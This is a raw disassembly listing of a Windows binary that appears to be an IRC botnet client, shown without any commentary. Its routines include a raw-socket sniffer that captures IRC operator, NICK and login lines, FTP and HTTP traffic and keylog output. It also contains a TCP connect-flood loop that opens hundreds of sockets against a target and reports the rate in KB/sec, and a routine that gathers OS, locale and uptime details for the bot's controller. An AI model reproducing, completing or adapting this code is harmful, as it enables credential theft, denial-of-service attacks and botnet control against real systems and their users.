		push	offset asc_41A1DC ; ":"
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		mov	[eax], bl


loc_4099C4:				; CODE XREF: .text:0040998Fj
		lea	eax, [ebp-340h]
		push	edi
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409A13
		lea	eax, [ebp-140h]
		push	edi
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409A13
		lea	eax, [ebp-140h]
		push	eax
		lea	eax, [ebp-340h]
		push	eax
		lea	eax, [ebp-5C4h]
		push	eax
		lea	eax, [ebp-9C4h]
		push	offset aSSS_1	; "%s %s:%s"
		push	eax
		call	sub_40D6BB
		add	esp, 14h


loc_409A13:				; CODE XREF: .text:004099D5j
					; .text:004099E8j
		push	ebx
		lea	eax, [ebp-9C4h]
		push	eax
		push	offset dword_41E1A8
		push	dword ptr [ebp-3C4h]
		call	sub_4017B6
		lea	eax, [ebp-9C4h]
		push	eax
		call	sub_401648
		add	esp, 14h


loc_409A3A:				; CODE XREF: .text:0040996Aj
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-78h]
		push	eax
		call	dword_4190C8	; lstrcmp
		test	eax, eax
		jnz	loc_409BA8
		lea	eax, [ebp-5C4h]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_409BA8
		lea	eax, [ebp-5C4h]
		push	offset aString	; ":String"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409A98
		lea	eax, [ebp-5C4h]
		push	offset aString	; ":String"
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		mov	[eax], bl


loc_409A98:				; CODE XREF: .text:00409A81j
		push	8
		lea	eax, [ebp-5C4h]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		call	dword_419140	; lstrcpyn
		lea	eax, [ebp-140h]
		push	offset aHttp_0	; "http:/"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_409AE0
		lea	eax, [ebp-140h]
		push	offset aHttps	; "https:/"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409BA8


loc_409AE0:				; CODE XREF: .text:00409AC3j
		push	edi
		lea	eax, [ebp-140h]
		push	eax
		call	esi	; lstrcpy
		mov	edi, offset asc_41B370 ; ","
		lea	eax, [ebp-340h]
		push	edi
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409B2D
		lea	eax, [ebp-340h]
		push	edi
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		call	esi	; lstrcpy
		lea	eax, [ebp-340h]
		push	edi
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		mov	[eax], bl


loc_409B2D:				; CODE XREF: .text:00409B00j
		mov	esi, offset word_41994E
		lea	eax, [ebp-340h]
		push	esi
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409B81
		lea	eax, [ebp-140h]
		push	esi
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409B81
		lea	eax, [ebp-140h]
		push	eax
		lea	eax, [ebp-340h]
		push	eax
		lea	eax, [ebp-5C4h]
		push	eax
		lea	eax, [ebp-9C4h]
		push	offset aSSS_1	; "%s %s:%s"
		push	eax
		call	sub_40D6BB
		add	esp, 14h


loc_409B81:				; CODE XREF: .text:00409B43j
					; .text:00409B56j
		push	ebx
		lea	eax, [ebp-9C4h]
		push	eax
		push	offset dword_41E1A8
		push	dword ptr [ebp-3C4h]
		call	sub_4017B6
		lea	eax, [ebp-9C4h]
		push	eax
		call	sub_401648
		add	esp, 14h


loc_409BA8:				; CODE XREF: .text:00409A4Bj
					; .text:00409A66j ...
		mov	esi, 200h
		push	esi
		lea	eax, [ebp-5C4h]
		push	ebx
		push	eax
		call	sub_40D7B0
		push	esi
		lea	eax, [ebp-340h]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 18h
		push	3E8h
		call	dword_419060	; Sleep
		jmp	loc_409889
; ---------------------------------------------------------------------------


loc_409BDC:				; CODE XREF: .text:0040989Bj
		mov	eax, [ebp-1Ch]
		cmp	eax, ebx
		mov	byte ptr [ebp-4], 2
		jz	loc_40984E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409BF6:				; CODE XREF: .text:00409860j
		mov	eax, [ebp-18h]
		cmp	eax, ebx
		mov	byte ptr [ebp-4], 1
		jz	loc_4097F9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4097F9
; ---------------------------------------------------------------------------


loc_409C10:				; CODE XREF: .text:004097F3j
					; .text:0040980Bj
		mov	eax, [ebp-14h]
		cmp	eax, ebx
		mov	[ebp-4], bl
		jz	short loc_409C20
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_409C20:				; CODE XREF: .text:004097D0j
					; .text:00409C18j
		mov	eax, [ebp+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, ebx
		jz	short loc_409C31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_409C31:				; CODE XREF: .text:004097A6j
					; .text:00409C29j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_409C44	proc near		; CODE XREF: sub_40198E+2320p
					; sub_409C91+4Ap
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4190A8	; GetTickCount
		push	eax
		call	sub_40E043
		pop	ecx
		call	sub_40E04D
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	esi, edx
		add	esi, dword_41E13C
		test	esi, esi
		jle	short loc_409C87


loc_409C71:				; CODE XREF: sub_409C44+41j
		call	sub_40E04D
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_409C71


loc_409C87:				; CODE XREF: sub_409C44+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_409C44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C91	proc near		; CODE XREF: sub_40198E+2E2p
					; sub_40198E+B06p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_409C9A:				; CODE XREF: sub_409C91+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_409CB8
		lea	eax, dword_41EE28[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_40D720
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_409CC6
; ---------------------------------------------------------------------------


loc_409CB8:				; CODE XREF: sub_409C91+Dj
		mov	ecx, dword_41EE34[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_409CC6:				; CODE XREF: sub_409C91+25j
		test	eax, eax
		jnz	short loc_409CD5
		add	esi, 14h
		inc	edi
		cmp	esi, 28h
		jb	short loc_409C9A
		jmp	short loc_409CE3
; ---------------------------------------------------------------------------


loc_409CD5:				; CODE XREF: sub_409C91+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_41EE38[eax*4]
		pop	ecx


loc_409CE3:				; CODE XREF: sub_409C91+42j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409C91	endp

; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0B8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-44h]
		push	eax
		mov	edi, offset word_41994E
		mov	dword ptr [ebp-44h], 94h
		call	dword_419138	; GetVersionExA
		cmp	dword ptr [ebp-40h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_409D4E
		cmp	dword ptr [ebp-3Ch], 0
		jnz	short loc_409D35
		cmp	dword ptr [ebp-34h], 1
		jnz	short loc_409D28
		mov	edi, offset dword_41B454


loc_409D28:				; CODE XREF: .text:00409D21j
		cmp	dword ptr [ebp-34h], 2
		jnz	short loc_409D7E
		mov	edi, offset dword_41B450
		jmp	short loc_409D7E
; ---------------------------------------------------------------------------


loc_409D35:				; CODE XREF: .text:00409D1Bj
		cmp	[ebp-3Ch], ebx
		jnz	short loc_409D41
		mov	edi, offset dword_41B44C
		jmp	short loc_409D7E
; ---------------------------------------------------------------------------


loc_409D41:				; CODE XREF: .text:00409D38j
		cmp	dword ptr [ebp-3Ch], 5Ah
		jnz	short loc_409D79
		mov	edi, offset dword_41B448
		jmp	short loc_409D7E
; ---------------------------------------------------------------------------


loc_409D4E:				; CODE XREF: .text:00409D15j
		cmp	dword ptr [ebp-40h], 5
		jnz	short loc_409D79
		cmp	dword ptr [ebp-3Ch], 0
		jnz	short loc_409D61
		mov	edi, offset dword_41B444
		jmp	short loc_409D7E
; ---------------------------------------------------------------------------


loc_409D61:				; CODE XREF: .text:00409D58j
		cmp	dword ptr [ebp-3Ch], 1
		jnz	short loc_409D6E
		mov	edi, offset dword_41B440
		jmp	short loc_409D7E
; ---------------------------------------------------------------------------


loc_409D6E:				; CODE XREF: .text:00409D65j
		cmp	dword ptr [ebp-3Ch], 2
		mov	edi, offset dword_41B43C
		jz	short loc_409D7E


loc_409D79:				; CODE XREF: .text:00409D45j
					; .text:00409D52j
		mov	edi, offset dword_41B438


loc_409D7E:				; CODE XREF: .text:00409D2Cj
					; .text:00409D33j ...
		lea	eax, [ebp-30h]
		push	offset dword_419388
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_409D99
		mov	esi, offset dword_41B434
		jmp	short loc_409E08
; ---------------------------------------------------------------------------


loc_409D99:				; CODE XREF: .text:00409D90j
		lea	eax, [ebp-30h]
		push	offset dword_41B430
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409DB4
		mov	esi, offset dword_41B42C
		jmp	short loc_409E08
; ---------------------------------------------------------------------------


loc_409DB4:				; CODE XREF: .text:00409DABj
		lea	eax, [ebp-30h]
		push	offset a2	; "2"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409DCF
		mov	esi, offset dword_41B428
		jmp	short loc_409E08
; ---------------------------------------------------------------------------


loc_409DCF:				; CODE XREF: .text:00409DC6j
		lea	eax, [ebp-30h]
		push	offset dword_41B424
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409DEA
		mov	esi, offset dword_41B420
		jmp	short loc_409E08
; ---------------------------------------------------------------------------


loc_409DEA:				; CODE XREF: .text:00409DE1j
		lea	eax, [ebp-30h]
		push	offset dword_41B41C
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	esi, offset dword_41B418
		jnz	short loc_409E08
		mov	esi, offset off_41B414


loc_409E08:				; CODE XREF: .text:00409D97j
					; .text:00409DB2j ...
		or	dword ptr [ebp+70h], 0FFFFFFFFh
		or	dword ptr [ebp+6Ch], 0FFFFFFFFh
		or	dword ptr [ebp+68h], 0FFFFFFFFh
		lea	eax, [ebp+68h]
		push	eax
		lea	eax, [ebp+6Ch]
		push	eax
		lea	eax, [ebp+70h]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_40A5BD
		pop	ecx
		push	eax
		call	sub_40DCA4
		mov	eax, [ebp+70h]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_409E52
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp+5Ch]
		push	ebx
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		jmp	short loc_409E76
; ---------------------------------------------------------------------------


loc_409E52:				; CODE XREF: .text:00409E3Bj
		cmp	eax, 64h
		jge	short loc_409E64
		push	ebx
		lea	ecx, [ebp+5Ch]
		push	ecx
		push	eax
		call	sub_417EC8
		jmp	short loc_409E73
; ---------------------------------------------------------------------------


loc_409E64:				; CODE XREF: .text:00409E55j
		push	offset a99	; "99"
		lea	eax, [ebp+5Ch]
		push	ebx
		push	eax
		call	sub_40DFEC


loc_409E73:				; CODE XREF: .text:00409E62j
		add	esp, 0Ch


loc_409E76:				; CODE XREF: .text:00409E50j
		call	dword_4190A8	; GetTickCount
		push	eax
		call	sub_40E043
		pop	ecx
		push	ebx
		lea	eax, [ebp+50h]
		push	eax
		push	7
		push	800h
		call	dword_41914C	; GetLocaleInfoA
		lea	eax, [ebp+5Ch]
		push	eax
		push	esi
		push	edi
		mov	edi, [ebp+7Ch]
		lea	eax, [ebp+50h]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_40DFEC
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_41E13C, esi
		jle	short loc_409EE1


loc_409EBC:				; CODE XREF: .text:00409EDFj
		call	sub_40E04D
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_40DFEC
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41E13C
		jl	short loc_409EBC


loc_409EE1:				; CODE XREF: .text:00409EBAj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EEB	proc near		; CODE XREF: sub_409FA5+27p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	[ebp+var_14], 2
		call	dword_4C47DC
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_409FA1
		push	esi
		push	edi
		mov	[ebp+arg_0], eax
		mov	edi, 190h


loc_409F35:				; CODE XREF: sub_409EEB+B2j
		xor	esi, esi


loc_409F37:				; CODE XREF: sub_409EEB+77j
		push	0
		push	1
		push	2
		call	dword_419238	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_409F5F
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_419220	; ioctlsocket


loc_409F5F:				; CODE XREF: sub_409EEB+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_409F37
		xor	esi, esi


loc_409F66:				; CODE XREF: sub_409EEB+91j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+esi*4+var_654]
		call	dword_41923C	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_409F66
		push	64h
		call	dword_419060	; Sleep
		xor	esi, esi


loc_409F88:				; CODE XREF: sub_409EEB+ADj
		push	[ebp+esi*4+var_654]
		call	dword_419240	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_409F88
		dec	[ebp+arg_0]
		jnz	short loc_409F35
		pop	edi
		pop	esi


loc_409FA1:				; CODE XREF: sub_409EEB+3Ej
		xor	eax, eax
		leave
		retn
sub_409EEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FA5	proc near		; CODE XREF: sub_409FE8+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408E38
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_40E0C8
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_40E0C8
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_409EEB
		add	esp, 18h
		test	eax, eax
		jnz	short loc_409FD9
		inc	eax


loc_409FD9:				; CODE XREF: sub_409FA5+31j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		pop	edi
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_409FA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409FE8	proc near		; DATA XREF: sub_40198E+2713o

var_614		= byte ptr -614h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 614h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 85h
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_409FA5
		push	eax
		lea	eax, [ebp+var_614]
		push	offset aDoneWithIkbSec ; "Done with (%iKB/sec)"
		push	eax
		call	sub_40D6BB
		add	esp, 18h
		cmp	[ebp+var_8], 0
		jnz	short loc_40A063
		push	[ebp+var_C]
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_4017B6
		add	esp, 10h


loc_40A063:				; CODE XREF: sub_409FE8+5Aj
		lea	eax, [ebp+var_614]
		push	eax
		call	sub_401648
		push	[ebp+var_10]
		call	sub_40AADD
		pop	ecx
		pop	ecx
		push	0
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_409FE8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A082	proc near		; CODE XREF: sub_40A29B+1D9p
					; sub_40A29B+201p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4C4864, eax
		mov	eax, offset dword_4C4864
		retn
sub_40A082	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A091	proc near		; CODE XREF: sub_40A29B+27Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A0AB


loc_40A0A7:				; CODE XREF: sub_40A091+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A0AB:				; CODE XREF: sub_40A091+14j
		push	offset dword_41E17C
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0A7
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A0D1


loc_40A0CD:				; CODE XREF: sub_40A091+4Fj
					; sub_40A091+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A0D1:				; CODE XREF: sub_40A091+3Aj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset a366	; "366 "
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset a_login	; ".login"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset a_l	; ".l"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset aScanningThread ; "scanning threads."
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset aMirc	; "mIRC"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset aExploit	; "exploit"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A0CD
		push	offset aExploiting ; "exploiting"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40A0CD
		push	offset aJoin	; "JOIN	# "
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40A0CD
		push	offset aSetsMode ; "sets mode: "
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40A0CD
		push	offset aIrc	; "Irc"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40A0CD
		push	offset aKeylog	; "keylog"
		push	esi
		call	sub_40D810
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_40A091	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1B0	proc near		; CODE XREF: sub_40A29B+28Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSn	; "IRC sn"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A1CA


loc_40A1C6:				; CODE XREF: sub_40A1B0+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A1CA:				; CODE XREF: sub_40A1B0+14j
		push	offset dword_41E17C
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A1C6
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A1F0


loc_40A1EC:				; CODE XREF: sub_40A1B0+4Fj
					; sub_40A1B0+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A1F0:				; CODE XREF: sub_40A1B0+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A1EC
		push	offset aOper	; "oper	"
		push	esi
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A1EC
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_40D810
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_40A1B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A226	proc near		; CODE XREF: sub_40A29B+29Dp

arg_0		= dword	ptr  4

		push	offset aFtpSn	; "FTP sn"
		push	[esp+4+arg_0]
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A24A
		push	offset dword_41E17C
		push	[esp+4+arg_0]
		call	sub_40D810
		pop	ecx
		pop	ecx


loc_40A24A:				; CODE XREF: sub_40A226+12j
		xor	al, al
		retn
sub_40A226	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A24D	proc near		; CODE XREF: sub_40A29B+2AEp

arg_0		= dword	ptr  4

		push	offset aHttpSn	; "HTTP	sn"
		push	[esp+4+arg_0]
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A271
		push	offset dword_41E17C
		push	[esp+4+arg_0]
		call	sub_40D810
		pop	ecx
		pop	ecx


loc_40A271:				; CODE XREF: sub_40A24D+12j
		xor	al, al
		retn
sub_40A24D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A274	proc near		; CODE XREF: sub_40A29B+312p

arg_0		= dword	ptr  4

		push	offset aVulnSniff ; "VULN sniff"
		push	[esp+4+arg_0]
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A298
		push	offset dword_41E17C
		push	[esp+4+arg_0]
		call	sub_40D810
		pop	ecx
		pop	ecx


loc_40A298:				; CODE XREF: sub_40A274+12j
		xor	al, al
		retn
sub_40A274	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40A29B	proc near		; DATA XREF: sub_40198E+1751o

var_115BC	= byte ptr -115BCh
var_115B3	= byte ptr -115B3h
var_115B0	= dword	ptr -115B0h
var_115AC	= dword	ptr -115ACh
var_115A8	= dword	ptr -115A8h
var_11590	= byte ptr -11590h
var_15BC	= byte ptr -15BCh
var_DBC		= byte ptr -0DBCh
var_5BC		= byte ptr -5BCh
var_5BB		= byte ptr -5BBh
var_4BC		= byte ptr -4BCh
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 115BCh
		lea	ebp, [esp-74h]
		call	sub_40D9A0
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_BC]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		mov	[eax+90h], esi
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		mov	[ebp+74h+var_5BC], bl
		lea	edi, [ebp+74h+var_5BB]
		rep stosd
		stosw
		push	0FFh
		lea	eax, [ebp+74h+var_5BC]
		push	eax
		mov	[ebp+74h+var_24], 2
		mov	[ebp+74h+var_22], bx
		mov	[ebp+74h+var_20], ebx
		call	dword_4C47A4
		lea	eax, [ebp+74h+var_5BC]
		push	eax
		call	dword_4C46F0
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+74h+var_C]
		push	eax
		call	sub_40E3A0
		mov	eax, [ebp+74h+var_C]
		add	esp, 0Ch
		push	ebx
		push	3
		push	2
		mov	[ebp+74h+var_20], eax
		call	dword_4C4690
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+74h+var_14], edi
		jnz	short loc_40A343
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40A343:				; CODE XREF: sub_40A29B+9Aj
		push	10h
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_4C4768
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A377
		call	dword_4C4748
		push	eax
		lea	eax, [ebp+74h+var_4BC]
		push	offset aW00tBindFailed ; "-W00T- bind()	failed,	returned %d"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], ebx
		jnz	short loc_40A3D2
		jmp	short loc_40A3B9
; ---------------------------------------------------------------------------


loc_40A377:				; CODE XREF: sub_40A29B+B8j
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_28]
		push	eax
		push	ebx
		push	ebx
		push	4
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+74h+var_10], esi
		call	dword_4C4764
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A3F6
		call	dword_4C4748
		push	eax
		lea	eax, [ebp+74h+var_4BC]
		push	offset aW00tWsaioctlFa ; "-W00T- WSAIoctl() failed, returned %d"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], ebx
		jnz	short loc_40A3D2


loc_40A3B9:				; CODE XREF: sub_40A29B+DAj
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_4BC]
		push	eax
		lea	eax, [ebp+74h+var_B8]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4017B6
		add	esp, 10h


loc_40A3D2:				; CODE XREF: sub_40A29B+D8j
					; sub_40A29B+11Cj
		lea	eax, [ebp+74h+var_4BC]
		push	eax
		call	sub_401648
		pop	ecx
		push	edi
		call	dword_4C479C
		push	[ebp+74h+var_38]
		call	sub_40AADD
		pop	ecx
		push	ebx
		call	dword_4190D8	; ExitThread


loc_40A3F6:				; CODE XREF: sub_40A29B+FCj
		mov	edi, offset aSDToSDS ; "\"%s:%d\" to \"%s:%d\":	- \"%s\"\n"
		mov	esi, 400h


loc_40A400:				; CODE XREF: sub_40A29B+197j
					; sub_40A29B+1C1j ...
		push	0FFFFh
		lea	eax, [ebp+74h+var_115BC]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	ebx
		push	0FFFFh
		lea	eax, [ebp+74h+var_115BC]
		push	eax
		push	[ebp+74h+var_14]
		call	dword_4C45F4
		cmp	[ebp+74h+var_115B3], 6
		jnz	short loc_40A400
		push	[ebp+74h+var_115A8]
		call	dword_41921C	; htons
		push	[ebp+74h+var_115A8+2]
		movzx	eax, ax
		mov	[ebp+74h+arg_0], eax
		call	dword_41921C	; htons
		cmp	[ebp+74h+arg_0], 6Eh
		movzx	eax, ax
